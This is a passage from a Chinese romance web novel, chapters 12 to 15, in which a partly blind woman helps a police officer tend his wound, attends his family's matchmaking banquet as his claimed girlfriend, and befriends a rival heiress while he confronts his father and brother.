池念有些失落。
直到亲耳听他说出自己有喜欢的人,她心里才莫名的有些失落。
“顺便再求你帮个忙。”
“什么?”
“你能不能,帮我追一追这个女孩。”
池念没了耐心,脸色也变得不好看:“我又不是男生,怎么知道追女孩。而且我也不是人家,怎么知道对方喜欢什么。”
洛景之注意到她的表情变化。
看她这样,不免心里有些开心。
明明刚才还很开心,在听到他有喜欢的女孩后就变得郁郁寡欢。
他也明白了什么。
“那行,第二个忙暂且就不帮了,第一个忙还请池小姐高抬贵手帮一帮。”
“好的。”
当晚。
池念翻来覆去怎么也睡不着。
白天的洛景之的话不断浮现在她脑海中,而重复最多的,就是他口中那个被他喜欢的女孩。
那个女孩,应该会很幸福。
能被他这样小心翼翼的喜欢着。
她心里想。
夜深,屋里没有一点动静。
只有屋外街道上那不断行驶的车辆鸣笛声。
池念一直是和林霞一起住,林霞突然住院,她自己一个人虽然很不习惯,但也没有办法。
她睁着双眼。
看着眼中和现实的黑暗交错,心里有种孤冷感。
池念躺在自己的床上,伸手摸了摸,毛茸茸的粉色兔子就在她的枕边,她顺着兔子的位置摸索到手机。
姑娘轻唤一声:“七七。”
手机屏幕亮起:【你好主人,有什么需要请跟我说。】
“现在几点了?”
【现在是顾城时间二十三点三十一分。】
“才十一点半啊。”她自言自语道。
12. 12
她似乎感觉躺了很久,没想到才十一点半。
人总是这样,越是想睡着时偏偏就怎么也睡不着,池念是那种越睡不着就越是容易胡乱想什么。
她晃了晃头,似是强迫自己进入梦乡,突然在此刻,她听到外面传来一个声音。
这声音很清脆,她听的清楚,就像是什么东西掉在了地上。
池念心头一紧。
难道外面有人在做什么坏事?
她被那个凶手折磨怕了,什么事总是爱往坏的方面去想。
小姑娘一个人在家,害怕的不自觉就握紧手中的被子。
此刻,姑娘所有的感官都被放大,她静静地聆听着外面的动静。
池念没敢开灯,在她的世界里,开灯与不开灯对她没什么影响,可如果有人进来,在黑暗中是她的优势。
小姑娘抓起盲杖以防自保。
这是她的家,就算不用盲杖也可以游刃有余的行动。
她凭着耳朵断定家里没有人,这才敢慢慢的下床,她独自朝客厅走去。
此刻她多么希望自己可以看见,如果眼睛好起来,她可以通过猫眼看到外面有没有人。
五分钟后,外面没有任何动静,池念心中松了口气。
她正想转身回去房间睡觉时,此刻突然又响起什么东西掉落声。
池念离得很近,她可以判断出,确定不是楼道外面。
可如果不是外面。
那会是……
难道是对面?!
池念最先想到的是洛景之。
他就住在对面,难道刚才的声响是从他房间里传来的?
她正想开门出去,可手放到门扶手上时突然停住。
她猛然想起,洛景之曾经在她的手机里存了他的手机号码,或许她可以先给他打个电话问问。
想到这儿,姑娘连忙掏出手机呼喊:“七七。”
【你好主人,有什么需要请跟我说。】
“请帮我给洛景之打通电话。”
【好的,正在为您接通通讯录‘洛景之’】
“池念。”
她语气中满是焦急:“洛景之你怎么样?你没事吧?”
“我没事。”他声音低沉中带着沙哑,“你怎么还没睡?”
“我睡不着,突然听到你的屋里传来一阵响声,就想问问你有没有事。”她说,“我以为又是凶手来了……”
“不是。”他喘着大气,似是面临很艰难的处境,“我在上药。”
“上药?”
“嗯。刚才没拿稳,把药瓶打翻了。”
听他的声音,池念知道他很难受。
自从眼睛看不见之后,池念的耳朵听力格外敏感。
“你不方便的话,我去帮你上药。”池念说,“我现在就过去。”
洛景之的伤是她间接造成的,为他上药是她该尽的义务。
“不用了,我自己能……”
“如果你能的话,也不会把药瓶打翻。”她边说边开门走到他的房门口,“我现在在你门口,辛苦你来开下门。”
他也没再说什么:“稍等。”
洛景之打开门,他没穿上衣:“小心点。”
“嗯。”
“我带你过去。”他声音更多是无力,“可以牵手吗?”
“可以。”她害羞道。
“你的状态很不好,是伤口恶化了吗?”池念问。
“有一点。”
她心里也更多是担心。
洛景之牵着她走到自己的卧室,“刚才突然想起来要吃口服的药片,但是没拿稳,就一起撒在地上了。”
“地上的药还得靠你自己捡起来了。”她说,“你的伤是在腰上,自己上药不方便,还是我来吧。”
洛景之刚捡起药放到桌子上,忽而意识到:“你的眼睛……”
姑娘莞尔一笑:“我只是半失明,并不是一点都看不见。虽然看不清楚,但是大概位置还是可以看到的。”
“那就麻烦了。”
“怎么突然这么客气。”
洛景之将沾了药的棉签递到池念手里,小姑娘凭着仅能看到的视线去涂抹。
她动作轻,洛景之只是皱了皱眉头,疼痛级别还是可以忍受。
刚才他不小心打翻了药瓶,上药的时候因为看不到心中总是生气,整个人状态和心情才这样不好。
洛景之赤luo着背,小姑娘专心在他的伤口上,并没觉得什么。
可他自己却是感觉有些不舒服。
生平第一次赤luo着上半身被女孩子看,他有些害羞。
括号,女医生除外。
或许是因为,是他喜欢的人吧。
池念的动作很小心,就怕不小心弄疼他:“疼吗?”
“不疼,你继续。”
“好。”
但两人这样,又如此安静的氛围,多少会觉得尴尬。
洛景之主动聊起话题:“池念。”
“我弄疼你了吗?”
“没有。”他说,“我就是想问问你,你第一次见我的时候,对我什么印象?”
这个问题倒是让她猝不及防。
要说印象最不好的时候,大概就是第一次见面那次了。
他还偏偏问起那次。
“那个时候可能更多的是害怕。”池念说,“虽然之前也被人这样凶过,但最多也是别人的抱怨。”
“之前还有谁这样说过你?”
“一个陌生人,我不小心挡了他的路,所以就被骂了一句。”
她说的淡然,似是在说一个和她无关的故事。
洛景之在慢慢了解她的生活,却每次都被她的经历所触动。
这样的生活池念已经习惯了,被骂了她永远都是赔上笑脸去迎合去道歉。
因为她知道,她是犯了错被人欺负都不会有人替她出头的人。
不知道是洛景之听到了她内心的声音,还是真的看透了她的心思,他的声音总是那样温柔:“以后被欺负了跟我说——”
他转过头,目睹身后的姑娘穿了件杏色睡裙,此刻正坐在床上帮他上着药。
姑娘上药认真,但脖颈下的领口有些低下,洛景之一时看的发呆。
小姑娘白皙的皮肤很容易让人看痴,还有那睡裙内快要luo露出来的软物。
洛景之猛然转回头,强迫自己镇定下来,他怎么样也是见过那么多赤luo的尸体,怎么还这么容易就脸红?
可是。
这终究不是那一动不动的死物。
他只觉得自己好像有点上火,又或者是受伤严重导致的上火发炎。
洛景之觉得自己快要疯了。
见他许久不说话,池念问:“怎么了?”
“没事。”
小姑娘涂完最后一抹受伤的位置,“好了,你等下,我帮你包扎一下。”
洛景之将纱布递到她手上。
池念动作温柔,比他一个大男人的力气小很多,一圈一圈缠绕好,他没觉得有多疼。
这几天他没将这伤口放在眼里,导致伤口进一步恶化。
“池念。”
“嗯?”
“我——”
她觉得对方今天晚上有点奇怪:“你今天说话怎么吞吞吐吐的?”
他确实魔怔了:“没事,我是想说,明天上午八点出发,走的时候我来接你,我已经找人帮你定做了礼服,明天拿给你穿上。”
“好。”
-
次日,阴。
洛景之接上池念出发去他家。
洛明诚在顾城的地位几乎人尽皆知,举办生日宴也用不着去别的大餐厅,自己家就是一栋小几层的别墅。
早上。
所有宾客陆续带着请帖来到洛明诚家中,每位顶尖人物身旁还带着一位俏丽的千金。
洛明诚在里屋大厅迎接着到来的每一位贵客。
“祝贺祝贺,祝洛老爷子福如东海,寿比南
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山啊!”
“祝贺祝贺。”
洛明诚迎合道:“谢谢,快,里面请里面请!”
“好好好。”
直到宾客来的差不多,洛明诚才走到客厅招呼客人。
客厅内的宾客自由畅谈,都是些场面话。
“给我注意着洛景之,他要是没来,马上派人去找!”洛明诚正吩咐下人。
“洛董?”
洛明诚刚吩咐完,突然被身后的声音吸引:“夏董啊?好久不见。”
“好久不见啊洛董,上次的事真得要谢谢您了,要不是您在那笔生意上帮了夏某人一把,恐怕就没有我的现在了。”
“您客气了,看着夏董您越来越红火,我也真心为您高兴啊。”
对方诚心说:“夏某一直都想找机会再宴请您一顿,但一直没找到合适的机会,您是大忙人,约您吃饭还得提前预约哈哈哈。”
“约饭好说好说,改天我们一起吃一顿。”
两人聊了半天,洛明诚这才注意到他身边站着的女孩。
女孩穿了件吊带粉色薄纱裙,一头蓬松的波浪头很是端庄,她生的耀眼,似是出生就该是生活在万众瞩目的眼光里。
洛明诚看到这样的女孩很是欣赏,更重要的是,她是夏董的女儿,和他们家更是门当户对。
“这就是夏董的女儿吧?果然是出落的亭亭玉立。”
“多些洛董夸奖。”男人随后便又对身旁的女孩说,“夏槐,还不赶快过来跟你洛叔叔问好。”
听闻此话,女孩彬彬有礼的向前走了一步:“洛叔叔好,我是夏槐。”
“好好好。”他满眼的欣赏打量。
正要想说话时,三人被一旁的对话吸引了注意。
大厅里聚满了人,洛明诚身后传来一组对话内容,他听着。
“你们听说了吗?今天这场宴会是洛董事长专门为洛家大少爷举办的相亲宴会。”
“啊?不是洛老爷子的生日宴吗?”
“名义上是生日宴,实际上是相亲宴,不然,洛董事长为什么嘱咐各个宾客带上自己的女儿一同来参加呢?”
“哦,原来是这样。”
本来以为这段对话也就告一段落。
没想到几人又继续说。
“那你们觉得洛董事长会挑中谁家的女儿?”
“你这么一说,怎么感觉洛大少爷抛绣球选亲似的?”
“哎,好像还真是哈哈哈哈。”
洛明诚是段不会容许别人这样背后议论自己的儿子。
他脸上的不满显而易见,正想上去反驳时,忽然又听见他们道。
议论的几人被二楼走下来的两人身影吸引目光。
“这是谁啊,洛家大少爷身边的女孩是谁啊?”
“没见过哎,这是哪家的千金啊?”
“她长得好美啊,站在洛少爷身边两人很般配哎。”
“这是不是内定的人选?既然内定了,干嘛还要让带其他千金来?”
“不知道,看看再说。”
……
洛明诚以及刚才的夏董和夏槐一起看向二楼的旋转楼梯处,只见洛景之身边站着一位眉目生动的女孩。
女孩挽着他的手臂,身上那件天蓝色鹅毛礼裙更是吸引绝大多数人的视线。
她头上戴着一定价值不菲的银色王冠,颈间戴着一串钻石珍珠项链,以及耳饰和戒指,每一处都不是小数目。
“你们看她身上这件礼裙,这不是顶级设计师前段时间展出的那件吗?叫什么?蓝眼泪?”
“好像是哎,还有她的项链,像不像五号拍卖会上那条价值五千万的银珍珠?”
“是哎是哎,听说那时候这条项链有好多人想要呢,最后被人偷偷拍走了。原来是洛少爷拍走了。”
“天呐,五千万拍走一条项链?就是让女朋友戴着玩?”
“别乱说,谁知道是不是女朋友呢。”
……
洛明诚:“……”
13. 13
洛景之察觉到池念有些紧张,他低声道:“别怕,握住我。今天的你很美,我们要下楼梯了。”
她战战兢兢道:“好。”
伴随着众人的议论声,洛景之牵着她缓缓走下楼梯。
两人站在一起犹如壁人耀眼夺目,很是般配。
可走到一半时,眼尖的人也发现了池念的眼睛。
“这女孩的眼睛有问题啊,她好像看不见?”
“真的哎,可惜这么好的女孩,眼睛看不见。”
“容貌好看来也无济于事,洛家怎么可能接受一个残疾人进门呢?”
……
这些话被池念尽数听见,她心中也多了几分顾虑。
尽管洛景之不介意,但她这么些年过来,应该是可以承受这些议论,可不知怎么,站在这样光鲜亮丽的他身边时,她竟然卑微到如此地步。
伴随众人的议论,她想临阵脱逃了。
洛景之严肃道:“各位好,这是我的女朋友,很高兴大家百忙之中可以来参加我爷爷的生日宴,借助这个机会,向大家介绍一下我的女朋友池念,大家随意。”
“还真是女朋友啊。”
“看,我没猜错吧。”
“你怎么知道人家这是女朋友?”
“你是不是傻,洛大少爷什么时候带女孩参加过这种公开场合?”
……
还没等洛明诚训斥,身边的贵客就纷纷上前恭维。
“洛董,今天真是双喜临门啊,恭喜恭喜。”
“谢谢。”洛明诚难看的脸色在面对别人的好意时,又强颜欢笑。
“两人真是般配,郎才女貌啊。”
“谢谢,谢谢。”
今天这个“惊喜”是洛明诚万万没想到的。
他有些招架不住。
应付完这些宾客后,洛明诚就四处寻找洛景之的身影。
趁他不注意,将人扯进一间偏屋。
洛景之下意识想要防范,手中的实心拳刚想打过去时,目睹对方的容颜后止于半空。
他眼神中闪过一丝错愕:“爸?您在搞什么啊?”
洛明诚的气不打一处来:“我倒想问问你搞什么鬼?!”他脸上的生气明显可见:“那女孩怎么回事?谁让你带这种不三不四的人来家里的?”
洛景之慵懒道:“您不就是想让我找个女朋友吗?现在我找到了,您也不用这么费尽心思给我相亲介绍了。”
这话给洛明诚气的不轻。
“你知不知道自己在说什么!我给你介绍的都是社会上有头有脸的人物的女儿,你娶了他们的女儿,以后接管公司的时候也会得到他们娘家人的势力,这是两全其美的好事。”
“我跟您说了无数遍,first集团我压根没想过继承,喜欢的女孩也是我自己找,您不用管。”他说,“您要是喜欢您自己娶,恐怕我妈会第一个站出来不同意。”
“臭小子,你乱说什么!”他气的直接骂他,而后意识到还有客人在,洛明诚克制着降低声音,低声又道,“这,这要不是现在的场合,你看我不打断你的腿!”
洛明诚脸上的面目表情难以控制,有种气的想要抽他几耳光的冲动。
“你现在,马上出去把人家姑娘送走!”洛明诚气道,“她要是不走,我就豁出去这张老脸,把你们一起轰走!!!”
只见洛明诚被他的话气的接不上气,反观洛景之却一副胸有成竹的样子。
自己的父亲当然是他自己最了解。
如果没有十足的把握,是无法和洛明诚这种商业顶尖的人物“谈判”的。
“您恐怕还不知道,池念,就是池老师的女儿!”
洛景之说。
“什么?”洛明诚震惊道,“你说什么?刚刚那个女孩,她是池国霖的女儿?!!”
直到此刻,他眼中的生气通通化作震惊。
池国霖和洛明诚是挚交好友,当年他被人伤害,他也派人寻找过他的女儿,只是后来打听到,他的女儿回到了老家发展。
他也觉得,老家可以避免凶手再找上她。
逃离顾城,也许不是坏事。
自此,寻找他女儿的事也就作罢。
没想到时隔多年,他还能再见到池国霖的女儿。
“我也是后来才知道的,我在池念家里看到了他们一家人的合照。”洛景之问,“爸,当年池老师的案子到底是怎么回事?”
见他不愿回答,洛景之穷追不舍:“这么多年您一直不肯告诉我当年发生的事,您要是早告诉我,说不定我现在都已经捉到了杀害池老师的凶手。”
“我知道池国霖对你不错,如果没有他,你可能考不上警校,可是他被害的时候你才十五岁,你知道什么?你还是个孩子!”
池国霖满脸惆怅,他欲要说什么,可话到嘴边却又吞了回去,最后表情凝聚叹气道:“这件事你管不了。”
“您不说怎么知道我管不了。”
洛明诚气急败坏的神情中又透露着些许不忍:“你不要以为你当了警察就天下无敌了,当年池国霖就是因为调查这个案子才被杀的,他都管不了的案子你怎么可能管的了!”
“况且这已经是十年前的案子了,现在保存下来的物证很少,这根本就是一桩无头案,无从查起!”
虽然不愿意相信,可洛明诚说的也是事实。
洛景之在警局中找了物证科,翻出来当年保存下来的证据,可是不够,远远不够破了这妆案子。
可是要想捉住凶手,就必须等他再次作案。
这是他作为警察最不愿看到的结果。
洛景之几次陷入无奈,“您知道我最想做的事是什么,抓不到杀害池老师的凶手我就绝不会放弃。”
似乎在心里下了某种决心。
别人都放弃了他,但他不会。
“再大的权势都挡不住人心险恶,我这是为你好。你池老师有着十多年的破案经验,依然没能破了这个案子,你年纪轻轻怎么可能破!”洛明诚说,“你根本不知道,当年池国霖查了案子和他被杀这件事之间有没有关联,景之,就当是为了他的女儿,别再追查了。”
洛景之:“……”
他的话让他稍稍动容。
他当然害怕当年的那些人会找上池念,可追查凶手也是池念的愿望。
无论是为了报答池国霖的师恩,还是还池念的承诺,他都必须追查下去。
洛景之喃喃道:“爸,您不觉得,池念来到我们身边是有原因的吗?”
他带着骨子里最后的倔强依然不悔:“是池老师把她送来的,一定是这样。”
他自己欺骗着自己,更妄想欺骗
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洛明诚。
这一切真的是太多巧合。
洛明诚:“……”
“捉不到凶手,池老师不会安心的。”
他像是自言自语,又像是在对父亲说着。
洛明诚知道,这次,他是铁了心要调查这件事了。
他劝不住。
这么多年,一直都是他这个做父亲的说什么就是什么,洛景之很少站出来反对,不知道从什么时候开始,这个儿子就已经脱离了自己的“掌控”。
他这么多年一直坚持着这一件事,从此刻他才真正明白,洛景之口中的调查真相并非儿戏。
洛景之落下这一句话,便背身离开。
留下洛明诚独自站在原地,久久看着他离去的背影思索。
现场人群拥挤,大部分都是为他而来。
洛景之摆脱洛明诚后,只想快点去找池念。
他提前将人安排在一个房间里,那边人少,不会有太多人打扰她。
看着满屋的靓女千金,他心中掀不起一丝波浪,甚是从她们身上扫了一眼就匆匆略过。
他贵为集团董事长的儿子,有什么是他没见过的。
只是他对她们没兴趣。
穿过走廊,洛景之又被另一人叫住。
他回头,来人是洛延之。
他们兄弟二人平常都很少回家,洛景之步入工作,整个身心也都投入到工作中,洛延之考入大学,一门心思在学业上,更鲜少回来。
洛延之身着正装,额前的齐刘海多了几分乖巧和书香气,洛延之和洛景之不同,他为人和善,是家里捧在手心的小儿子。
但即使是这样,他也没有恃宠而骄。
两人面对面对视着,似乎过了很久,洛延之先开口道:“哥,我们谈谈。”
洛景之:“……”
“我们之间有什么可谈的。”洛景之表现得不在乎,“我还有事,就不多说了。”
说完,便想与他擦肩而过。
洛延之见他这么躲避自己,内心更是说不出的一种煎熬,这种感觉是他不想要的。
就在对方想要略过他径直走去时,洛延之抬手抓住他的胳膊。
洛景之止步。
兄弟二人四目相对。
洛延之说:“或许我可以帮你。”
“我有什么需要你帮的?”
“我可以帮你,让爸爸接纳那个女孩儿。”
“……”
提到池念,他又一次动摇了。
洛延之口中的那个女孩就是池念。
而自己正在为怎么让洛明诚接受池念时,他说他可以帮忙。
虽然他暂时还没有主意,但多个人帮忙总归没有坏处。
“现在你能好好跟我说会话了吗?”洛延之的语气中满是真诚。
“你想说什么?”
“哥,这么多年你很少跟我说话,就是因为妈偏爱我而忽略了你,我看在眼里,但这不是我想要的。”洛延之说,“我甚至也和妈说过让她不要这种区别对待,我们都是妈的儿子,她应该平等对待我们的。”
洛景之脸上面无表情:“都过去了。”
“我知道你心里不是这样想的,我会慢慢劝说妈的,会让她将爱分你一点。”
“分我一点?”他觉得有些好笑,“怎么分我一点?”
14. 14
洛景之一直在逃避这件事。
他从小就没体验过母爱,秦晓兰将所有的爱都给了弟弟。
她会无条件的相信弟弟,为弟弟考虑。
所以洛延之的生活是幼时的他最羡慕的时刻。
他本来不想提,但他今天执意要谈,他心里不知怎么就全都灌输出来:“是从前每次早餐煮的两个鸡蛋分我一个?还是每次的家长会都把妈劈成两半各自参加?”
“或者是,每次我们发生争执,妈可以将事情问清楚再解决而不是不分青红皂白的将我臭骂一顿。”
家庭中的细节很多,多到他其他的也都记不清。
例如,秦晓兰会在冬天出门的时候,给两人准备早餐,而洛延之的碗里永远比他多一个蛋。
有了新衣服,洛延之永远都是穿最新的。
而家里的活,永远都是洛景之做……
洛延之听着他说的这些话,有些不可置信的看着他。
而后缓缓说:“你还说你不在意……”
“……”
“我不在意?”他真的被气无奈了。
这里是走廊,洛景之不想将事情被别人听见,于是将他带到最近的屋里,将门反锁上。
洛景之继续说:“你以为是我故意想要记得这些吗?这是妈对你的爱,但这些都是对我的痛。”
“别人将刀尖刺进你的心口,拔出来,再刺进去,你会不在意吗?”
“无数次,妈都会以我是哥哥为理由偏向你,说什么,我是哥哥,就该让着点弟弟。这么多年我不想去争辩这件事,你以后也最好不要跟我提这件事,我们还能当兄弟。”
“不然的话,我是真的没有办法面对你。”
他是第一次对洛延之说这么多,也是第一次说起这些事。
洛延之还是挽回,慌忙解释:“可,可有一次,我们都有家长会要开,妈是去了你的学校啊!”
“是!”洛景之像是破罐子破摔,将所有都告诉他,“可是后来家长会开了不到十分钟妈就走了,甚至都没等到老师跟她谈话。”
“……”
“延之你知道吗?那次我考了年纪第二,我只是想让妈通过老师看到我的努力,她甚至对我说一句‘你很棒’我就有继续变优秀的动力。”
“我问她家长会还没结束,你知道妈怎么回答的吗?”
他觉得自己就挺像废物的:“她说还要紧着去给你开家长会,就因为你说你受到了老师的表扬,她就这么迫不及待。”
洛景之亲自揭开了自己过去的伤疤,这一件件,都是幼时给他造成的心理创伤。
过去的回忆被他们回忆起来。
洛延之眉头紧皱,他半疑道:“可,当时妈告诉我说,你已经开完家长会了……”
“看吧,同样都是儿子,她连让你愧疚都不忍心。”
洛景之甚至都不知道自己到底做错了什么要活该经历这些。
他更想不明白,同样都是她的儿子,她为什么要这么偏心。
渐渐的随着时间越来越久,他似乎觉得答案对他来说也并没有那么重要了。
他全身心的精力都在工作上,破案追查已经让他焦头烂额,回家的次数也是屈指可数,渐渐地也就没有那么的委屈和怨恨了。
洛景之想转身离去,事情过这么久,他不想再多说了。
将要开门时,他脚步停下,背身道:“经历的这些,不是我造成的。我记得的种种事情也并不是想做什么,你是我弟弟,她是我妈,打断骨头还连着筋的血缘关系不是我想割舍就割舍的。”
他叹口气:“所以我只能尽可能的躲着。”
“至少,我们两个中间还有一个人是幸福的。”
说完这句话,便开门离去。
洛延之心中总是有种欠缺。
看着他离去,他低声说了句:“哥,看着你难受,我怎么可能会幸福。”
这些年,洛延之也一直主动去向他靠近,洛景之各个方面表现优异,是他这个弟弟学习的榜样。
所以他一直拼命的想要追赶上他的脚步。
洛延之也知道秦晓兰的偏心,所以他就主动将这份欠缺弥补给他。
可渐渐地他发现,洛景之总是有各种理由和他保持距离。
好像,他们不是一家人一样。
-
与此同时。
池念被洛景之安排在这个房间,外面的宾客对话声嘈杂,伴随着音乐响起,谈话声显得人们其乐融融。
她不适合这种场合。
这个房间里,能回应她的,恐怕只有自己的手机了。
外面热闹的场合中,她的房间却格外寂静。
池念待了很久,只能自己来找乐子,好让自己没有那么无聊。
她语音操控手机播放她的音频作品,只是还没有上映,她反复听着,寻找其中的不足之处。
正播放到一半时,她所在的这个房间突然被人敲响。
这让身处别人家的姑娘即刻变得谨慎起来。
她暂停手机播放,等候第二阵敲门声响起。
不出她所料,房门被人从外面再次被敲响。
池念本来想不理的,但后来又想到或许对方有什么重要的事,就起身去开门。
门被打开的瞬间,外面一股清香的味道被她嗅到,看来,是位女孩子。
池念小心并客气道:“你好,请问你找谁?”
外面的女孩很开朗,自然熟的走进房间:“找你啊。”
“找我?”
“对哦。”女孩笑着说,“就是你。”
池念根据声音判断她的位置,身体朝着她所在的方向转过去。
她将房门带上,缓缓走向屋里。
池念问:“我们,认识吗?”
“不认识。但我们都认识洛景之。”
对方说话的口吻似是跟她很熟,开朗的脾性下说话丝毫不客气。
池念对付这样的人更为小心。
她摸不清对方的来意,只有小心应对,以免给洛景之添麻烦。
女孩对她上下打量:“如果我没看错的话,你就是刚刚和洛景之并肩从楼梯走下来的女孩吧?”
这样被看的池念有些不舒服:“嗯。”
“哦,我没有恶意,今天来也就是想要和你交个朋友,我是洛景之的朋友,你是他的女朋友,那我们也就是朋友啦~”
这个概念她怎么觉得有些奇怪。
听对方反复提到洛景之,想必她今天也是为了他来的。
也是,今天到场的所有姑娘应该都是为他来的吧。
小姑娘心里感觉不舒服,但她没有理由不舒服。
“你好,我叫夏槐,槐树的槐。”对方大大方方的介绍自己。
“你好,我是池念。”
姑娘间的友谊很好建立,只是存在洛景之这个矛盾点。
夏槐走到她身边:“刚才我就在底下看见你了,你和洛景之站在一起真的很般配,好多人都在议论你们,别的姑娘都很羡慕你。”
离近些更能发觉她的眼睛,果然和刚才在底下看到的一样。
她的眼睛看不见。
池念听她这样说,突然觉得她的心地不坏。
我要不要告诉她,我和洛景之其实不是男女朋友……
还是,该和他商量一下再
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做决定。
毕竟这件事是洛景之拜托她的,不是她可以随便决定的。
想到这儿,她将剩下的话吞下肚。
最后只是简单道了句:“谢谢。”
“我今年二十一岁,你呢?”
“二十岁。”
“比我小哎,行,我们既然交了朋友,那以后有事就说话。”
对方的热情让她逐渐放下戒备心。
对于夏槐的身份池念并不了解,但后来再猜想,能来这儿的人,身份肯定也不简单。
池念对于结交新朋友总是很谨慎。
夏槐接着问:“你怎么一个人在这儿?洛景之真不靠谱,竟然把女朋友一个人丢到房间里,他人呢?”
“他只说有事出去一下。”
“你眼睛不方便,对这儿也不熟悉,用不用我替你去找找他?”
池念也渐渐变得随和,她还是鲜少会遇到这样开朗率真的女孩子。
池念温柔道:“不用了,他让我在这儿等,我就等等吧,谢谢你。”
见对方这么听话,夏槐满脸怀疑的看着眼前的姑娘。
等等,这小姑娘也太听话了吧,该不会是被洛景之哄骗来的?
看来也是为了他这迷人的外表来的。
不对,她眼睛看不见!
既然不是冲着他那张脸来的,那是……
她猜不出原因,但出于好心她刻意提醒道:“池念,你了解洛景之这个人吗?”
没等她回答,她又接着说:“他脾气臭,性格不好,除了脸长得好看点,其他都不符合做男朋友的标准哎。”
“他,长得很好看吗?”
夏槐:“是啊,和你一样好看。”
“……”
我靠,这TM是重点吗?!
夏槐的脏话几乎要脱口而出,但念及对方这么乖巧,她也不好暴露本性。
“这不是重点!”夏槐说,“关键是他的本性,你们在一起他对你不好怎么办?”
“他对我很好的。”
夏槐被她的话气笑了,天知道这世界上怎么还会有这么天真的女孩。
关键是对方还用一脸很相信洛景之的模样说出对她很好。
这该不会就是所谓的恋爱脑吧?
夏槐觉得挺无语的。
毕竟,她是最不相信这世界上有什么真心的。
她对爱情的追求就是,只要双方彼此喜欢,那就够了。
但前提是,这种喜欢是建立在物质条件的基础上。
她从不相信穷人口中的真心,看不见摸不着的东西最是无用。
她是夏槐,就该追求门当户对的爱情。
那句话怎么说,她宁愿坐在宝马车里哭,也不愿坐在自行车上笑。
而如今遇上池念这个小姑娘很天真的跟她说出对她好的话,她自然是觉得可笑。
“我是说,他以后万一对你不好怎么办?你不能只看他对你的好。”
“那还要看什么?”
“他的身份,还有钱。”
“嗯?”
池念觉得这个女孩有些有趣,她对她也有了些许好奇。
“虽然他这个人也没什么特别不好的癖好,但男人都是大猪蹄子!”夏槐像是跟洛景之有什么深仇大恨,各种吐槽他。
她的话引得池念呵呵笑,小姑娘笑起来的模样让夏槐看的一愣一愣的。
而后池念感觉到被人注视,她即刻收敛了笑容。
池念说:“对不起啊,我不是故意笑你的。”
“没,没关系。”她的眼神也不离她身,自己又补充道,“我,好像知道洛景之为什么喜欢你了。”
15. 15
池念每次都对夏槐的话找不到头绪。
但不可否认的是,她喜欢听她说话。
夏槐刚刚一直把池念当成外面的那些女生一样,认为她和她们是一样的,都是奔着洛景之来的。
现在看来,她好像搞错了方向。
或许,是洛景之上赶着人家小姑娘也说不准啊?
毕竟池念笑起来的模样,有几个男人能招架住。
虽然眼睛有些缺陷,但并不妨碍人家脾气温柔。
“你还没回答我的问题,如果他对你不好怎么办?”夏槐追问。
池念认真思考片刻后,回答:“如果真是这样的话,我就永远不见他。”
“就,没了?”
“嗯。”
“这算什么?”
是她太心机了还是这丫头太傻了?
她还是第一次遇到这样的姑娘,不贪慕虚荣,也不死缠烂打。
倒是刷新了她对那些女孩的认知。
夏槐从心里就更加坚定了想要认识她的心。
她正想再交谈什么时,这时候门被人由外打开,一个高大的身形赫然站在她们眼前。
洛景之也觉得奇怪:“夏槐?你怎么在这儿?”
“怎么不能是我,我这样的身份怎么可能不被邀请来参加宴会。”
“我的意思是,你怎么在这里?”他用食指指了指地下。
“我就是对你的女朋友感到好奇。”她说话间还不忘转头看看刚结交的新朋友,“毕竟能受得了你这怪脾气的女孩子,也不是一般人。”
“彼此彼此。”
夏槐就知道他这张嘴不会饶过谁,一想到自己还有事求他,便也没再顶撞。
“你来一下。”姑娘将他拉到一边的角落。
“有事?”
“那指定有事啊。过来。”
洛景之不耐烦的跟她过去,但依旧没出这间屋子。
夏槐悄悄凑到他耳边,细声细语说了很多。
池念虽然看不见,但她可以听见他们的举动。
他们关系这样好,又这么熟悉彼此,还有夏槐这样的身份。
无论在谁看来,他们都是最适合彼此的那个人。
池念不知道自己这是怎么了。
自从认识洛景之,她好像变得不是自己了。
几次像这样胡思乱想,她不喜欢这样的自己。
夏槐说完后,满目深情的祈求着:“行不行,你就答应我吧,我求你了,洛景之。”
“找别人吧。”
“哎哎哎,等等,我发誓,你如果帮我问到了——”她急切的想出交换的条件,“我就……我就帮你保护好你的小女朋友,行不行?”
“成交。”
“……”
尼玛。
她就知道,这人比非洲人还要黑!
心也黑!
不过现在看来,他对这小女朋友还是挺不错的。
两人的对话被池念听进耳朵里,他们的关系似乎还要亲近。
夏槐说:“行了,我不打扰你们了,我走了。”
她临走时还单独和池念打个招呼:“下次见哦,小念念公主。”
池念:“……”
什么时候成了公主了?
但出于礼貌,池念回应了句:“下次见。”
临出门时,夏槐还对着池念摆了个亲吻。
她听见了。
这称呼,叫的还真亲切。
洛景之等她关门离开后,喃喃自语道:“小念念公主……”
池念:“……”
“叫的比我都亲。”
“……”
洛景之将身上那件外套直接脱了,又单手松了松自己的领带。
又是应酬又是谈话,他的精神消耗大半。
坐在椅子上的池念见他许久不提起夏槐,她就直接主动问了:“洛景之,你和夏槐,很熟吗?”
“小时候一起玩过,长大后也有联系,仅此而已了。”
“不是关系很要好的朋友吗?”
“算是,但仅是朋友。”他边说边倒了杯水。
“如果仅仅是朋友的话,那你,怎么会亲她?”池念就这么直白的说了。
“噗——”刚喝进去的水被他没忍住喷出来。
他甚至怀疑自己是不是听错了。
洛景之觉得匪夷所思,不确定又问了遍:“我怎么她了?亲她?”
“池念,你可不能随随便便就给人扣上这个罪名的,我清清白白大好青年,怎么被你这么一说,我这名声全都毁了呢。”
“我,亲耳听到的,就刚才的时候,她靠你很近。”
“那一定是你听错了。”他说,“我没那么大本事,那天答应做我女朋友的只有你一个。”
“……”
话已经脱口而出,他怎么觉得哪里不对劲。
再看池念的脸色,明显小姑娘有些害羞。
洛景之放下手里的水杯说,“我,我和夏槐就只是普通朋友,你帮我做个证,行不行?”
“我?为什么是我?”
“问题不是你问的?那正好,你帮忙做个证,刚才的话我要是哪句说了谎,就……”
“哎!”
他正要说违背的后果,却被池念制止住。
“……”
小姑娘小声道:“不好的话就不要说了。”
“行,今晚想吃什么?得烧一桌子的菜,堵一堵某个小姑娘的嘴。”
“我可以点一份红烧肉吗,太久没吃了。”她说话一直都是那种很温柔的感觉,似乎别人说话重些都对不起人家这么温柔的态度。
哪怕这样的请求,也是让别人听了就感觉对方很礼貌的样子。
所以洛景之听了,也应的很干脆:“可以,等这场宴会结束,我就带你回家。”
带她,回家……
这样的话,她也很久没听到了。
她印象中最深刻的就是池国霖对她说的,那句带她回家,还是在她小的时候。
